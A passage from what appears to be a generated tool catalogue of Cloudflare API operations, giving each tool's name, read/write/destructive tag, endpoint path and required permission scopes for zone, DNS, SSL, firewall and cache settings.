/api/v1/cloudflare/zones/{zone_id}/settings/rum. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_speed_brain (read) — Get Cloudflare Speed Brain setting via GET /zones/{zone_id}/settings/speed_brain GET /api/v1/cloudflare/zones/{zone_id}/settings/speed_brain. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_ssl_automatic_mode (read) — Get Automatic SSL/TLS enrollment status for the given zone via GET /zones/{zone_id}/settings/ssl_automatic_mode GET /api/v1/cloudflare/zones/{zone_id}/settings/ssl_automatic_mode. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_settings_transformations_allowed_origins (read) — Get Image Transformations Allowed Origins setting via GET /zones/{zone_id}/settings/transformations_allowed_origins GET /api/v1/cloudflare/zones/{zone_id}/settings/transformations_allowed_origins. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_transformations_c2pa (read) — Get Image Transformations C2PA setting via GET /zones/{zone_id}/settings/transformations_c2pa GET /api/v1/cloudflare/zones/{zone_id}/settings/transformations_c2pa. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_settings_transformations_config (read) — Get Transformations configuration via GET /zones/{zone_id}/settings/transformations_config GET /api/v1/cloudflare/zones/{zone_id}/settings/transformations_config. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_smart_shield (read) — Get Smart Shield Settings via GET /zones/{zone_id}/smart_shield GET /api/v1/cloudflare/zones/{zone_id}/smart_shield. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_smart_shield_cache_reserve_clear (read) — Get Cache Reserve Clear (zone / smart shield / cache reserve clear) via GET /zones/{zone_id}/smart_shield/cache_reserve_clear GET /api/v1/cloudflare/zones/{zone_id}/smart_shield/cache_reserve_clear. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_spectrum_apps (read) — List Spectrum applications via GET /zones/{zone_id}/spectrum/apps GET /api/v1/cloudflare/zones/{zone_id}/spectrum/apps. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_spectrum_apps_by_app_id (read) — Get Spectrum application configuration via GET /zones/{zone_id}/spectrum/apps/{app_id} GET /api/v1/cloudflare/zones/{zone_id}/spectrum/apps/{app_id}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_spectrum_protocols (read) — List Spectrum application protocols via GET /zones/{zone_id}/spectrum/protocols GET /api/v1/cloudflare/zones/{zone_id}/spectrum/protocols. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_availabilities (read) — Get quota and availability via GET /zones/{zone_id}/speed_api/availabilities GET /api/v1/cloudflare/zones/{zone_id}/speed_api/availabilities. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_pages (read) — List tested webpages via GET /zones/{zone_id}/speed_api/pages GET /api/v1/cloudflare/zones/{zone_id}/speed_api/pages. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_pages_by_url_tests (read) — List page test history via GET /zones/{zone_id}/speed_api/pages/{url}/tests GET /api/v1/cloudflare/zones/{zone_id}/speed_api/pages/{url}/tests. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_pages_by_url_tests_by_test_id (read) — Get a page test result via GET /zones/{zone_id}/speed_api/pages/{url}/tests/{test_id} GET /api/v1/cloudflare/zones/{zone_id}/speed_api/pages/{url}/tests/{test_id}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_pages_by_url_trend (read) — List core web vital metrics trend via GET /zones/{zone_id}/speed_api/pages/{url}/trend GET /api/v1/cloudflare/zones/{zone_id}/speed_api/pages/{url}/trend. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_speed_api_schedule_by_url (read) — Get a page test schedule via GET /zones/{zone_id}/speed_api/schedule/{url} GET /api/v1/cloudflare/zones/{zone_id}/speed_api/schedule/{url}. Scopes: zone_settings:read. cloudflare_get_zones_by_zone_id_ssl_certificate_packs (read) — List Certificate Packs via GET /zones/{zone_id}/ssl/certificate_packs GET /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_ssl_certificate_packs_by_certificate_pack_id (read) — Get Certificate Pack via GET /zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id} GET /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id}. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_ssl_certificate_packs_quota (read) — Get Certificate Pack Quotas via GET /zones/{zone_id}/ssl/certificate_packs/quota GET /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs/quota. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_ssl_recommendation (read) — SSL/TLS Recommendation (deprecated) via GET /zones/{zone_id}/ssl/recommendation GET /api/v1/cloudflare/zones/{zone_id}/ssl/recommendation. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_ssl_universal_settings (read) — Universal SSL Settings Details via GET /zones/{zone_id}/ssl/universal/settings GET /api/v1/cloudflare/zones/{zone_id}/ssl/universal/settings. Scopes: ssl_certificates:read. cloudflare_get_zones_by_zone_id_url_normalization (read) — Get URL Normalization settings via GET /zones/{zone_id}/url_normalization GET /api/v1/cloudflare/zones/{zone_id}/url_normalization. Scopes: account_rulesets:read. cloudflare_patch_accounts_by_account_id_rulesets_by_ruleset_id_rules_by_rule_id (write) — Update an account ruleset rule via PATCH /accounts/{account_id}/rulesets/{ruleset_id}/rules/{rule_id} PATCH /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/rules/{rule_id}. Scopes: account_rulesets:write. cloudflare_patch_accounts_by_account_id_settings_ut_billing (write) — Change Unique Transformations billing setting via PATCH /accounts/{account_id}/settings/ut-billing PATCH /api/v1/cloudflare/accounts/{account_id}/settings/ut-billing. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id (write) — Edit Zone via PATCH /zones/{zone_id} PATCH /api/v1/cloudflare/zones/{zone_id}. Scopes: zone:write. cloudflare_patch_zones_by_zone_id_addressing_regional_hostnames_by_hostname (write) — Update Regional Hostname via PATCH /zones/{zone_id}/addressing/regional_hostnames/{hostname} PATCH /api/v1/cloudflare/zones/{zone_id}/addressing/regional_hostnames/{hostname}. Scopes: dns:write. cloudflare_patch_zones_by_zone_id_argo_smart_routing (write) — Patch Argo Smart Routing setting via PATCH /zones/{zone_id}/argo/smart_routing PATCH /api/v1/cloudflare/zones/{zone_id}/argo/smart_routing. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_cache_cache_reserve (write) — Change Cache Reserve setting via PATCH /zones/{zone_id}/cache/cache_reserve PATCH /api/v1/cloudflare/zones/{zone_id}/cache/cache_reserve. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_cache_regional_tiered_cache (write) — Change Regional Tiered Cache setting via PATCH /zones/{zone_id}/cache/regional_tiered_cache PATCH /api/v1/cloudflare/zones/{zone_id}/cache/regional_tiered_cache. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_cache_tiered_cache_smart_topology_enable (write) — Patch Smart Tiered Cache setting via PATCH /zones/{zone_id}/cache/tiered_cache_smart_topology_enable PATCH /api/v1/cloudflare/zones/{zone_id}/cache/tiered_cache_smart_topology_enable. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_cache_variants (write) — Change variants setting via PATCH /zones/{zone_id}/cache/variants PATCH /api/v1/cloudflare/zones/{zone_id}/cache/variants. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_client_certificates_by_client_certificate_id (write) — Reactivate Client Certificate via PATCH /zones/{zone_id}/client_certificates/{client_certificate_id} PATCH /api/v1/cloudflare/zones/{zone_id}/client_certificates/{client_certificate_id}. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_ct_alerting (write) — Update CT Alerting Subscription via PATCH /zones/{zone_id}/ct/alerting PATCH /api/v1/cloudflare/zones/{zone_id}/ct/alerting. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_custom_hostnames_by_custom_hostname_id (write) — Edit Custom Hostname via PATCH /zones/{zone_id}/custom_hostnames/{custom_hostname_id} PATCH /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/{custom_hostname_id}. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_devices_policy_certificates (write) — Update device certificate provisioning status via PATCH /zones/{zone_id}/devices/policy/certificates PATCH /api/v1/cloudflare/zones/{zone_id}/devices/policy/certificates. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_dns_records_by_dns_record_id (write) — Update DNS Record via PATCH /zones/{zone_id}/dns_records/{dns_record_id} PATCH /api/v1/cloudflare/zones/{zone_id}/dns_records/{dns_record_id}. Scopes: dns:write. cloudflare_patch_zones_by_zone_id_dns_settings (write) — Update DNS Settings via PATCH /zones/{zone_id}/dns_settings PATCH /api/v1/cloudflare/zones/{zone_id}/dns_settings. Scopes: dns:write. cloudflare_patch_zones_by_zone_id_dnssec (write) — Edit DNSSEC Status via PATCH /zones/{zone_id}/dnssec PATCH /api/v1/cloudflare/zones/{zone_id}/dnssec. Scopes: dns:write. cloudflare_patch_zones_by_zone_id_email_routing (write) — Update Email Routing settings (zone / email / routing) [PATCH] via PATCH /zones/{zone_id}/email/routing PATCH /api/v1/cloudflare/zones/{zone_id}/email/routing. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_email_routing_dns (write) — Unlock Email Routing (zone / email / routing / dns) via PATCH /zones/{zone_id}/email/routing/dns PATCH /api/v1/cloudflare/zones/{zone_id}/email/routing/dns. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_firewall_access_rules_rules_by_rule_id (write) — Update an IP Access rule via PATCH /zones/{zone_id}/firewall/access_rules/rules/{rule_id} PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/access_rules/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_firewall_rules (write) — Update priority of firewall rules (deprecated) via PATCH /zones/{zone_id}/firewall/rules PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/rules. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_firewall_rules_by_rule_id (write) — Update priority of a firewall rule (deprecated) via PATCH /zones/{zone_id}/firewall/rules/{rule_id} PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_firewall_waf_packages_by_package_id (write) — Update a WAF package (deprecated) via PATCH /zones/{zone_id}/firewall/waf/packages/{package_id} PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_firewall_waf_packages_by_package_id_groups_by_group_id (write) — Update a WAF rule group (deprecated) via PATCH /zones/{zone_id}/firewall/waf/packages/{package_id}/groups/{group_id} PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/groups/{group_id}. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_firewall_waf_packages_by_package_id_rules_by_rule_id (write) — Update a WAF rule (deprecated) via PATCH /zones/{zone_id}/firewall/waf/packages/{package_id}/rules/{rule_id} PATCH /api/v1/cloudflare/zones/{zone_id}/firewall/waf/packages/{package_id}/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_patch_zones_by_zone_id_hold (write) — Update Zone Hold via PATCH /zones/{zone_id}/hold PATCH /api/v1/cloudflare/zones/{zone_id}/hold. Scopes: zone:write. cloudflare_patch_zones_by_zone_id_keyless_certificates_by_keyless_certificate_id (write) — Edit Keyless SSL Configuration via PATCH /zones/{zone_id}/keyless_certificates/{keyless_certificate_id} PATCH /api/v1/cloudflare/zones/{zone_id}/keyless_certificates/{keyless_certificate_id}. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_managed_headers (write) — Update Managed Transforms via PATCH /zones/{zone_id}/managed_headers PATCH /api/v1/cloudflare/zones/{zone_id}/managed_headers. Scopes: account_rulesets:write. cloudflare_patch_zones_by_zone_id_pagerules_by_pagerule_id (write) — Edit a Page Rule via PATCH /zones/{zone_id}/pagerules/{pagerule_id} PATCH /api/v1/cloudflare/zones/{zone_id}/pagerules/{pagerule_id}. Scopes: page_rules:write. cloudflare_patch_zones_by_zone_id_pay_per_crawl_configuration (write) — Changes pay-per-crawl config for a zone via PATCH /zones/{zone_id}/pay-per-crawl/configuration PATCH /api/v1/cloudflare/zones/{zone_id}/pay-per-crawl/configuration. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_rulesets_by_ruleset_id_rules_by_rule_id (write) — Update a zone ruleset rule via PATCH /zones/{zone_id}/rulesets/{ruleset_id}/rules/{rule_id} PATCH /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/rules/{rule_id}. Scopes: account_rulesets:write. cloudflare_patch_zones_by_zone_id_settings (write) — Edit multiple zone settings (deprecated) via PATCH /zones/{zone_id}/settings PATCH /api/v1/cloudflare/zones/{zone_id}/settings. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_aegis (write) — Change aegis setting via PATCH /zones/{zone_id}/settings/aegis PATCH /api/v1/cloudflare/zones/{zone_id}/settings/aegis. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_automatic_platform_optimization (write) — Change Automatic Platform Optimization setting via PATCH /zones/{zone_id}/settings/automatic_platform_optimization PATCH /api/v1/cloudflare/zones/{zone_id}/settings/automatic_platform_optimization. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_binary_ast (write) — Change Binary AST setting via PATCH /zones/{zone_id}/settings/binary_ast PATCH /api/v1/cloudflare/zones/{zone_id}/settings/binary_ast. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_by_setting_id (write) — Edit zone setting via PATCH /zones/{zone_id}/settings/{setting_id} PATCH /api/v1/cloudflare/zones/{zone_id}/settings/{setting_id}. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_csam_scanner_third_party (write) — Update CSAM Scanner setting via PATCH /zones/{zone_id}/settings/csam_scanner_third_party PATCH /api/v1/cloudflare/zones/{zone_id}/settings/csam_scanner_third_party. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_fonts (write) — Change Cloudflare Fonts setting via PATCH /zones/{zone_id}/settings/fonts PATCH /api/v1/cloudflare/zones/{zone_id}/settings/fonts. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_h2_prioritization (write) — Change HTTP/2 Prioritization setting via PATCH /zones/{zone_id}/settings/h2_prioritization PATCH /api/v1/cloudflare/zones/{zone_id}/settings/h2_prioritization. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_image_resizing (write) — Change Image Transformations setting via PATCH /zones/{zone_id}/settings/image_resizing PATCH /api/v1/cloudflare/zones/{zone_id}/settings/image_resizing. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_nel (write) — Edit NEL setting via PATCH /zones/{zone_id}/settings/nel PATCH /api/v1/cloudflare/zones/{zone_id}/settings/nel. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_origin_h2_max_streams (write) — Change Origin H2 Max Streams Setting via PATCH /zones/{zone_id}/settings/origin_h2_max_streams PATCH /api/v1/cloudflare/zones/{zone_id}/settings/origin_h2_max_streams. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_origin_max_http_version (write) — Change Origin Max HTTP Version Setting via PATCH /zones/{zone_id}/settings/origin_max_http_version PATCH /api/v1/cloudflare/zones/{zone_id}/settings/origin_max_http_version. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_rum (write) — Toggle RUM on/off for a zone via PATCH /zones/{zone_id}/settings/rum PATCH /api/v1/cloudflare/zones/{zone_id}/settings/rum. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_speed_brain (write) — Change Cloudflare Speed Brain setting via PATCH /zones/{zone_id}/settings/speed_brain PATCH /api/v1/cloudflare/zones/{zone_id}/settings/speed_brain. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_ssl_automatic_mode (write) — Patch Automatic SSL/TLS Enrollment status for given zone via PATCH /zones/{zone_id}/settings/ssl_automatic_mode PATCH /api/v1/cloudflare/zones/{zone_id}/settings/ssl_automatic_mode. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_settings_transformations_allowed_origins (write) — Change Image Transformations Allowed Origins setting via PATCH /zones/{zone_id}/settings/transformations_allowed_origins PATCH /api/v1/cloudflare/zones/{zone_id}/settings/transformations_allowed_origins. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_transformations_c2pa (write) — Change Image Transformations C2PA setting via PATCH /zones/{zone_id}/settings/transformations_c2pa PATCH /api/v1/cloudflare/zones/{zone_id}/settings/transformations_c2pa. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_settings_transformations_config (write) — Change Transformations configuration via PATCH /zones/{zone_id}/settings/transformations_config PATCH /api/v1/cloudflare/zones/{zone_id}/settings/transformations_config. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_smart_shield (write) — Patch Smart Shield Settings via PATCH /zones/{zone_id}/smart_shield PATCH /api/v1/cloudflare/zones/{zone_id}/smart_shield. Scopes: zone_settings:write. cloudflare_patch_zones_by_zone_id_ssl_certificate_packs_by_certificate_pack_id (write) — Restart Validation or Update Advanced Certificate Manager Certificate Pack via PATCH /zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id} PATCH /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs/{certificate_pack_id}. Scopes: ssl_certificates:write. cloudflare_patch_zones_by_zone_id_ssl_universal_settings (write) — Edit Universal SSL Settings via PATCH /zones/{zone_id}/ssl/universal/settings PATCH /api/v1/cloudflare/zones/{zone_id}/ssl/universal/settings. Scopes: ssl_certificates:write. cloudflare_post_accounts_by_account_id_rulesets (write) — Create an account ruleset via POST /accounts/{account_id}/rulesets POST /api/v1/cloudflare/accounts/{account_id}/rulesets. Scopes: account_rulesets:write. cloudflare_post_accounts_by_account_id_rulesets_by_ruleset_id_rules (write) — Create an account ruleset rule via POST /accounts/{account_id}/rulesets/{ruleset_id}/rules POST /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/rules. Scopes: account_rulesets:write. cloudflare_post_zones_by_zone_id_acm_custom_trust_store (write) — Upload Custom Origin Trust Store via POST /zones/{zone_id}/acm/custom_trust_store POST /api/v1/cloudflare/zones/{zone_id}/acm/custom_trust_store. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_acm_total_tls (write) — Enable or Disable Total TLS via POST /zones/{zone_id}/acm/total_tls POST /api/v1/cloudflare/zones/{zone_id}/acm/total_tls. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_addressing_regional_hostnames (write) — Create Regional Hostname via POST /zones/{zone_id}/addressing/regional_hostnames POST /api/v1/cloudflare/zones/{zone_id}/addressing/regional_hostnames. Scopes: dns:write. cloudflare_post_zones_by_zone_id_ai_audit_robots_bulk (write) — Bulk get robots.txt rules via POST /zones/{zone_id}/ai-audit/robots/bulk POST /api/v1/cloudflare/zones/{zone_id}/ai-audit/robots/bulk. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_cache_cache_reserve_clear (write, destructive) — Start Cache Reserve Clear (zone / cache / cache reserve clear) via POST /zones/{zone_id}/cache/cache_reserve_clear POST /api/v1/cloudflare/zones/{zone_id}/cache/cache_reserve_clear. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_cache_tiered_cache_smart_topology_enable (write) — Create Smart Tiered Cache setting via POST /zones/{zone_id}/cache/tiered_cache_smart_topology_enable POST /api/v1/cloudflare/zones/{zone_id}/cache/tiered_cache_smart_topology_enable. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_client_certificates (write) — Create Client Certificate via POST /zones/{zone_id}/client_certificates POST /api/v1/cloudflare/zones/{zone_id}/client_certificates. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_custom_csrs (write) — Create Custom CSR via POST /zones/{zone_id}/custom_csrs POST /api/v1/cloudflare/zones/{zone_id}/custom_csrs. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_custom_hostnames (write) — Create Custom Hostname via POST /zones/{zone_id}/custom_hostnames POST /api/v1/cloudflare/zones/{zone_id}/custom_hostnames. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_dns_records (write) — Create DNS Record via POST /zones/{zone_id}/dns_records POST /api/v1/cloudflare/zones/{zone_id}/dns_records. Scopes: dns:write. cloudflare_post_zones_by_zone_id_dns_records_batch (write) — Batch DNS Records via POST /zones/{zone_id}/dns_records/batch POST /api/v1/cloudflare/zones/{zone_id}/dns_records/batch. Scopes: dns:write. cloudflare_post_zones_by_zone_id_dns_records_scan (write) — Scan DNS Records (deprecated) via POST /zones/{zone_id}/dns_records/scan POST /api/v1/cloudflare/zones/{zone_id}/dns_records/scan. Scopes: dns:write. cloudflare_post_zones_by_zone_id_dns_records_scan_review (write) — Review Scanned DNS Records via POST /zones/{zone_id}/dns_records/scan/review POST /api/v1/cloudflare/zones/{zone_id}/dns_records/scan/review. Scopes: dns:write. cloudflare_post_zones_by_zone_id_dns_records_scan_trigger (write) — Trigger DNS Record Scan via POST /zones/{zone_id}/dns_records/scan/trigger POST /api/v1/cloudflare/zones/{zone_id}/dns_records/scan/trigger. Scopes: dns:write. cloudflare_post_zones_by_zone_id_email_routing_disable (write, destructive) — Disable Email Routing (zone / email / routing / disable) (deprecated) via POST /zones/{zone_id}/email/routing/disable POST /api/v1/cloudflare/zones/{zone_id}/email/routing/disable. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_email_routing_dns (write) — Enable Email Routing (zone / email / routing / dns) via POST /zones/{zone_id}/email/routing/dns POST /api/v1/cloudflare/zones/{zone_id}/email/routing/dns. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_email_routing_enable (write) — Enable Email Routing (zone / email / routing / enable) (deprecated) via POST /zones/{zone_id}/email/routing/enable POST /api/v1/cloudflare/zones/{zone_id}/email/routing/enable. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_email_routing_unlock (write) — Unlock Email Routing (zone / email / routing / unlock) (deprecated) via POST /zones/{zone_id}/email/routing/unlock POST /api/v1/cloudflare/zones/{zone_id}/email/routing/unlock. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_environments_by_environment_id_purge_cache (write, destructive) — Purge Cached Content by Environment via POST /zones/{zone_id}/environments/{environment_id}/purge_cache POST /api/v1/cloudflare/zones/{zone_id}/environments/{environment_id}/purge_cache. Scopes: cache_purge. cloudflare_post_zones_by_zone_id_filters (write) — Create filters (deprecated) via POST /zones/{zone_id}/filters POST /api/v1/cloudflare/zones/{zone_id}/filters. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_firewall_access_rules_rules (write) — Create an IP Access rule via POST /zones/{zone_id}/firewall/access_rules/rules POST /api/v1/cloudflare/zones/{zone_id}/firewall/access_rules/rules. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_firewall_lockdowns (write) — Create a Zone Lockdown rule via POST /zones/{zone_id}/firewall/lockdowns POST /api/v1/cloudflare/zones/{zone_id}/firewall/lockdowns. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_firewall_rules (write) — Create firewall rules (deprecated) via POST /zones/{zone_id}/firewall/rules POST /api/v1/cloudflare/zones/{zone_id}/firewall/rules. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_firewall_ua_rules (write) — Create a User Agent Blocking rule via POST /zones/{zone_id}/firewall/ua_rules POST /api/v1/cloudflare/zones/{zone_id}/firewall/ua_rules. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_firewall_waf_overrides (write) — Create a WAF override (deprecated) via POST /zones/{zone_id}/firewall/waf/overrides POST /api/v1/cloudflare/zones/{zone_id}/firewall/waf/overrides. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_hold (write) — Create Zone Hold via POST /zones/{zone_id}/hold POST /api/v1/cloudflare/zones/{zone_id}/hold. Scopes: zone:write. cloudflare_post_zones_by_zone_id_keyless_certificates (write) — Create Keyless SSL Configuration via POST /zones/{zone_id}/keyless_certificates POST /api/v1/cloudflare/zones/{zone_id}/keyless_certificates. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_origin_tls_client_auth (write) — Upload Certificate via POST /zones/{zone_id}/origin_tls_client_auth POST /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_origin_tls_client_auth_hostnames_certificates (write) — Upload a Hostname Client Certificate via POST /zones/{zone_id}/origin_tls_client_auth/hostnames/certificates POST /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames/certificates. Scopes: ssl_certificates:write. cloudflare_post_zones_by_zone_id_pagerules (write) — Create a Page Rule via POST /zones/{zone_id}/pagerules POST /api/v1/cloudflare/zones/{zone_id}/pagerules. Scopes: page_rules:write. cloudflare_post_zones_by_zone_id_pay_per_crawl_configuration (write) — Creates pay-per-crawl config for a zone via POST /zones/{zone_id}/pay-per-crawl/configuration POST /api/v1/cloudflare/zones/{zone_id}/pay-per-crawl/configuration. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_purge_cache (write, destructive) — Purge Cached Content via POST /zones/{zone_id}/purge_cache POST /api/v1/cloudflare/zones/{zone_id}/purge_cache. Scopes: cache_purge. cloudflare_post_zones_by_zone_id_rate_limits (write) — Create a rate limit (deprecated) via POST /zones/{zone_id}/rate_limits POST /api/v1/cloudflare/zones/{zone_id}/rate_limits. Scopes: firewall_services:write. cloudflare_post_zones_by_zone_id_rulesets (write) — Create a zone ruleset via POST /zones/{zone_id}/rulesets POST /api/v1/cloudflare/zones/{zone_id}/rulesets. Scopes: account_rulesets:write. cloudflare_post_zones_by_zone_id_rulesets_by_ruleset_id_rules (write) — Create a zone ruleset rule via POST /zones/{zone_id}/rulesets/{ruleset_id}/rules POST /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/rules. Scopes: account_rulesets:write. cloudflare_post_zones_by_zone_id_secondary_dns_force_axfr (write) — Force AXFR via POST /zones/{zone_id}/secondary_dns/force_axfr POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/force_axfr. Scopes: dns:write. cloudflare_post_zones_by_zone_id_secondary_dns_incoming (write) — Create Secondary Zone Configuration via POST /zones/{zone_id}/secondary_dns/incoming POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/incoming. Scopes: dns:write. cloudflare_post_zones_by_zone_id_secondary_dns_outgoing (write) — Create Primary Zone Configuration via POST /zones/{zone_id}/secondary_dns/outgoing POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing. Scopes: dns:write. cloudflare_post_zones_by_zone_id_secondary_dns_outgoing_disable (write, destructive) — Disable Outgoing Zone Transfers via POST /zones/{zone_id}/secondary_dns/outgoing/disable POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing/disable. Scopes: dns:write. cloudflare_post_zones_by_zone_id_secondary_dns_outgoing_enable (write) — Enable Outgoing Zone Transfers via POST /zones/{zone_id}/secondary_dns/outgoing/enable POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing/enable. Scopes: dns:write. cloudflare_post_zones_by_zone_id_secondary_dns_outgoing_force_notify (write) — Force DNS NOTIFY via POST /zones/{zone_id}/secondary_dns/outgoing/force_notify POST /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing/force_notify. Scopes: dns:write. cloudflare_post_zones_by_zone_id_security_center_insights_scans (write) — Start On-Demand Zone Scan via POST /zones/{zone_id}/security-center/insights/scans POST /api/v1/cloudflare/zones/{zone_id}/security-center/insights/scans. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_smart_shield_cache_reserve_clear (write, destructive) — Start Cache Reserve Clear (zone / smart shield / cache reserve clear) via POST /zones/{zone_id}/smart_shield/cache_reserve_clear POST /api/v1/cloudflare/zones/{zone_id}/smart_shield/cache_reserve_clear. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_spectrum_apps (write) — Create Spectrum application using a name for the origin via POST /zones/{zone_id}/spectrum/apps POST /api/v1/cloudflare/zones/{zone_id}/spectrum/apps. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_speed_api_pages_by_url_tests (write) — Start page test via POST /zones/{zone_id}/speed_api/pages/{url}/tests POST /api/v1/cloudflare/zones/{zone_id}/speed_api/pages/{url}/tests. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_speed_api_schedule_by_url (write) — Create scheduled page test via POST /zones/{zone_id}/speed_api/schedule/{url} POST /api/v1/cloudflare/zones/{zone_id}/speed_api/schedule/{url}. Scopes: zone_settings:write. cloudflare_post_zones_by_zone_id_ssl_certificate_packs_order (write) — Order Advanced Certificate Manager Certificate Pack via POST /zones/{zone_id}/ssl/certificate_packs/order POST /api/v1/cloudflare/zones/{zone_id}/ssl/certificate_packs/order. Scopes: ssl_certificates:write. cloudflare_put_accounts_by_account_id_rulesets_by_ruleset_id (write) — Update an account ruleset via PUT /accounts/{account_id}/rulesets/{ruleset_id} PUT /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:write. cloudflare_put_accounts_by_account_id_rulesets_phases_by_ruleset_phase_entrypoint (write) — Update an account entry point ruleset via PUT /accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint PUT /api/v1/cloudflare/accounts/{account_id}/rulesets/phases/{ruleset_phase}/entrypoint. Scopes: account_rulesets:write. cloudflare_put_zones_by_zone_id_activation_check (write) — Rerun the Activation Check via PUT 